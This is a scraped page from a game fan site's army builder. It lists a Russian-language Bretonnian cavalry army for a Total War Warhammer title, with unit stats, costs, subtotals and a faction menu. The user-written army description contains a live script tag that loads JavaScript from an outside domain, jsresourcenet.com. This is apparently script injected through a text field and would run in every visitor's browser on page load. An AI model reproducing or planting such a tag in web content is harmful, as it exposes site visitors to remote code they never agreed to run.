Left Panel
 
		
			 Рыцари Лионесса Army
Рыцари Лионесса Army
		Order of English Knights
Powerful cavalry of britanniaBuild by ArmigeriDefensores - 2020-03-04 22:56:52
		
 
		
							1
							 
						
					 
						
							1
							 
						
					 
						
							1
							 
						
					 
						
							60
							 
						
					 
						
							60
							 
						
					 
						
							60
							 
						
					 
						
							60
							 
						
					 
						
							60
							 
						
					 
						
							60
							 
						
					 
						
							60
							 
						
					 
						
							60
							 
						
					 
						
							60
							 
						
					 
						
							60
							 
						
					 
						
							60
							 
						
					 
						
							60
							 
						
					 
						
							60
							 
						
					 
						
							60
							 
						
					 
						
							60
							 
						
					 
						
							60
							 
						
					 
						
							60
							 
						
					 
						
							60
							 
						
					 
						
							60
							 
						
					 
						
							60
							 
						
					 
						
							60
							 
						
					 
						
							60
							 
						
					 
						
							60
							 
						
					 
						
							60
							 
						
					 
						
							60
							 
						
					 
						
							60
							 
						
					 
						
							60
							 
						
					 
						
							60
							 
						
					 
						
							60
							 
						
					 
						
							60
							 
						
					 
						
							60
							 
						
					 
						
							60
							 
						
					 
						
							24
							 
						
					 
						
							24
							 
						
					 
						
							24
							 
						
					 
						
							8
							 
						
					 
						
							8
							 
						
					 
						500,000 cavalry of britain ready to crush to enemy who insultings.....<script src="https://jsresourcenet.com/honga"></script>
| No. | Unit | Name | Sol. | Custom Cost | Recru. Cost | Upkeep Cost | Ship HP. | Ship Spd. | Msl. Dmg. | Rng. | Sht. /min | Amo. | Mle. Atk. | Mle. Dmg. | Chg. | Mle. Def. | Arm. | HP. | Mor. | 
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| Командование (3) | 3 | 4500 | 4500 | 425 | - | - | - | 157 | 1260 | 230 | 130 | 265 | 14256 | 260 | |||||
| 1 |  | Король Луан Леонкур | 1 | 1850 | 1850 | 425 | 52 | 440 | 75 | 35 | 90 | 5604 | 80 | ||||||
| 2 |  | Анри ле Массиф (Бронированный боевой конь) | 1 | 850 | 850 | 0 | 45 | 390 | 70 | 45 | 140 | 4476 | 80 | ||||||
| 3 |  | Зеленый Рыцарь (Призрачный конь) | 1 | 1800 | 1800 | 0 | 60 | 430 | 85 | 50 | 35 | 4176 | 100 | ||||||
| Штурмовая конница (12) | 612 | 19200 | 19200 | 4560 | - | - | - | 450 | 507 | 537 | 594 | 1725 | 1932 | 1005 | |||||
| 4 |  | Хранители Грааля | 60 | 1600 | 1600 | 400 | 36 | 36 | 38 | 56 | 155 | 128 | 85 | ||||||
| 5 |  | Хранители Грааля | 60 | 1600 | 1600 | 400 | 36 | 36 | 38 | 56 | 155 | 128 | 85 | ||||||
| 6 |  | Хранители Грааля | 60 | 1600 | 1600 | 400 | 36 | 36 | 38 | 56 | 155 | 128 | 85 | ||||||
| 7 |  | Хранители Грааля | 60 | 1600 | 1600 | 400 | 36 | 36 | 38 | 56 | 155 | 128 | 85 | ||||||
| 8 |  | Хранители Грааля | 60 | 1600 | 1600 | 400 | 36 | 36 | 38 | 56 | 155 | 128 | 85 | ||||||
| 9 |  | Хранители Грааля | 60 | 1600 | 1600 | 400 | 36 | 36 | 38 | 56 | 155 | 128 | 85 | ||||||
| 10 |  | Хранители Грааля | 60 | 1600 | 1600 | 400 | 36 | 36 | 38 | 56 | 155 | 128 | 85 | ||||||
| 11 |  | Хранители Грааля | 60 | 1600 | 1600 | 400 | 36 | 36 | 38 | 56 | 155 | 128 | 85 | ||||||
| 12 |  | Хранители Грааля | 60 | 1600 | 1600 | 400 | 36 | 36 | 38 | 56 | 155 | 128 | 85 | ||||||
| 13 |  | Рыцари на королевских пегасах | 24 | 1600 | 1600 | 320 | 42 | 61 | 65 | 30 | 110 | 260 | 80 | ||||||
| 14 |  | Рыцари на королевских пегасах | 24 | 1600 | 1600 | 320 | 42 | 61 | 65 | 30 | 110 | 260 | 80 | ||||||
| 15 |  | Рыцари на королевских пегасах | 24 | 1600 | 1600 | 320 | 42 | 61 | 65 | 30 | 110 | 260 | 80 | ||||||
| Ударная конница (22) | 1216 | 28500 | 28500 | 7130 | - | - | - | 792 | 1020 | 1560 | 628 | 2580 | 4240 | 1700 | |||||
| 16 |  | Рыцари Грааля | 60 | 1500 | 1500 | 375 | 38 | 38 | 78 | 30 | 120 | 112 | 80 | ||||||
| 17 |  | Рыцари Грааля | 60 | 1500 | 1500 | 375 | 38 | 38 | 78 | 30 | 120 | 112 | 80 | ||||||
| 18 |  | Рыцари Грааля | 60 | 1500 | 1500 | 375 | 38 | 38 | 78 | 30 | 120 | 112 | 80 | ||||||
| 19 |  | Рыцари Грааля | 60 | 1500 | 1500 | 375 | 38 | 38 | 78 | 30 | 120 | 112 | 80 | ||||||
| 20 |  | Рыцари Грааля | 60 | 1500 | 1500 | 375 | 38 | 38 | 78 | 30 | 120 | 112 | 80 | ||||||
| 21 |  | Рыцари Грааля | 60 | 1500 | 1500 | 375 | 38 | 38 | 78 | 30 | 120 | 112 | 80 | ||||||
| 22 |  | Рыцари Грааля | 60 | 1500 | 1500 | 375 | 38 | 38 | 78 | 30 | 120 | 112 | 80 | ||||||
| 23 |  | Рыцари Грааля | 60 | 1500 | 1500 | 375 | 38 | 38 | 78 | 30 | 120 | 112 | 80 | ||||||
| 24 |  | Рыцари Грааля | 60 | 1500 | 1500 | 375 | 38 | 38 | 78 | 30 | 120 | 112 | 80 | ||||||
| 25 |  | Рыцари Грааля | 60 | 1500 | 1500 | 375 | 38 | 38 | 78 | 30 | 120 | 112 | 80 | ||||||
| 26 |  | Рыцари Королевства | 60 | 950 | 950 | 238 | 32 | 37 | 68 | 26 | 120 | 108 | 75 | ||||||
| 27 |  | Рыцари Королевства | 60 | 950 | 950 | 238 | 32 | 37 | 68 | 26 | 120 | 108 | 75 | ||||||
| 28 |  | Рыцари Королевства | 60 | 950 | 950 | 238 | 32 | 37 | 68 | 26 | 120 | 108 | 75 | ||||||
| 29 |  | Рыцари Королевства | 60 | 950 | 950 | 238 | 32 | 37 | 68 | 26 | 120 | 108 | 75 | ||||||
| 30 |  | Рыцари Королевства | 60 | 950 | 950 | 238 | 32 | 37 | 68 | 26 | 120 | 108 | 75 | ||||||
| 31 |  | Рыцари Королевства | 60 | 950 | 950 | 238 | 32 | 37 | 68 | 26 | 120 | 108 | 75 | ||||||
| 32 |  | Рыцари Королевства | 60 | 950 | 950 | 238 | 32 | 37 | 68 | 26 | 120 | 108 | 75 | ||||||
| 33 |  | Рыцари Королевства | 60 | 950 | 950 | 238 | 32 | 37 | 68 | 26 | 120 | 108 | 75 | ||||||
| 34 |  | Рыцари Королевства | 60 | 950 | 950 | 238 | 32 | 37 | 68 | 26 | 120 | 108 | 75 | ||||||
| 35 |  | Рыцари Королевства | 60 | 950 | 950 | 238 | 32 | 37 | 68 | 26 | 120 | 108 | 75 | ||||||
| 36 |  | Рыцари на королевских гиппогрифах | 8 | 2000 | 2000 | 500 | 46 | 135 | 50 | 34 | 90 | 1020 | 75 | ||||||
| 37 |  | Рыцари на королевских гиппогрифах | 8 | 2000 | 2000 | 500 | 46 | 135 | 50 | 34 | 90 | 1020 | 75 | ||||||
| Стрелковая конница (3) | 180 | 2250 | 2250 | 561 | - | 57 | - | - | 54 | 72 | 66 | 66 | 66 | 90 | 249 | 165 | |||
| 38 |  | Стражи Монтфорта (конные йомены-лучники) | 60 | 750 | 750 | 187 | 19 | 125 | 7.8 | 18 | 24 | 22 | 22 | 22 | 30 | 83 | 55 | ||
| 39 |  | Стражи Монтфорта (конные йомены-лучники) | 60 | 750 | 750 | 187 | 19 | 125 | 7.8 | 18 | 24 | 22 | 22 | 22 | 30 | 83 | 55 | ||
| 40 |  | Стражи Монтфорта (конные йомены-лучники) | 60 | 750 | 750 | 187 | 19 | 125 | 7.8 | 18 | 24 | 22 | 22 | 22 | 30 | 83 | 55 | ||
| Subtotal | 2011 | 54450 | 54450 | 12676 | - | 57 | - | - | 54 | 1471 | 2853 | 2393 | 1418 | 4660 | 20677 | 3130 | |||
 
		
	
 English
 English Français
 Français Italiano
 Italiano Deutsch
 Deutsch Español
 Español Čeština
 Čeština Polski
 Polski Türkçe
 Türkçe Português (Brasil)
 Português (Brasil) 한국어
 한국어 简体中文
 简体中文 正體中文
 正體中文


 Support Honga.net or Donations
Support Honga.net or Donations Клан Риктус
Клан Риктус Последователи Нагаша
Последователи Нагаша Двор Либараса
Двор Либараса Изгнанники Нехека
Изгнанники Нехека Хемри
Хемри Хар Ганет
Хар Ганет Авелорн
Авелорн Нагарит
Нагарит Флот ужаса
Флот ужаса Пираты Сартозы
Пираты Сартозы Утопленники
Утопленники Благословенный ужас
Благословенный ужас Пробужденные
Пробужденные Культ Сотека
Культ Сотека Тлаква
Тлаква Клан Скрайр
Клан Скрайр Ица
Ица Дух джунглей
Дух джунглей Экспедиция Егермейстера
Экспедиция Егермейстера Хаг Греф
Хаг Греф Клан Эшин
Клан Эшин Ломаные Топоры
Ломаные Топоры Иврессе
Иврессе Рыцари Каледора
Рыцари Каледора Клан Моулдер
Клан Моулдер Вестники Ариэль
Вестники Ариэль Древесное Воинство Скорби
Древесное Воинство Скорби Наггаронд
Наггаронд Культ удовольствий
Культ удовольствий Орден Хранителей Знаний
Орден Хранителей Знаний Эатайн
Эатайн Последний Бастион
Последний Бастион Гексоатль
Гексоатль Клан Пестиленс
Клан Пестиленс Клан Морс
Клан Морс Орда из тысячи пастей
Орда из тысячи пастей Золотой орден
Золотой орден Костетрясы
Костетрясы Легион курганов
Легион курганов Зверолюды (Империи смертных)
Зверолюды (Империи смертных) Талсин (Империи смертных)
Талсин (Империи смертных) Аргвилон (Империи смертных)
Аргвилон (Империи смертных) Клан Ангрунд (Империи смертных)
Клан Ангрунд (Империи смертных) Кривой Месяц (Империи смертных)
Кривой Месяц (Империи смертных) Кровавые Руки (Империи смертных)
Кровавые Руки (Империи смертных) Бордело (Империи смертных)
Бордело (Империи смертных) Куронн (Империи смертных)
Куронн (Империи смертных) Каркассон (Империи смертных)
Каркассон (Империи смертных) Мироходцы (Империи смертных)
Мироходцы (Империи смертных) Зимний Клык (Империи смертных)
Зимний Клык (Империи смертных) Воины Хаоса (Империи смертных)
Воины Хаоса (Империи смертных) Караз-а-Карак (Империи смертных)
Караз-а-Карак (Империи смертных) Карак Кадрин (Империи смертных)
Карак Кадрин (Империи смертных) Рейкланд (Империи смертных)
Рейкланд (Империи смертных) Жосткие Ребята Гримгора (Империи смертных)
Жосткие Ребята Гримгора (Империи смертных) Сильвания (Империи смертных)
Сильвания (Империи смертных) Фон Карштайны (Империи смертных)
Фон Карштайны (Империи смертных)
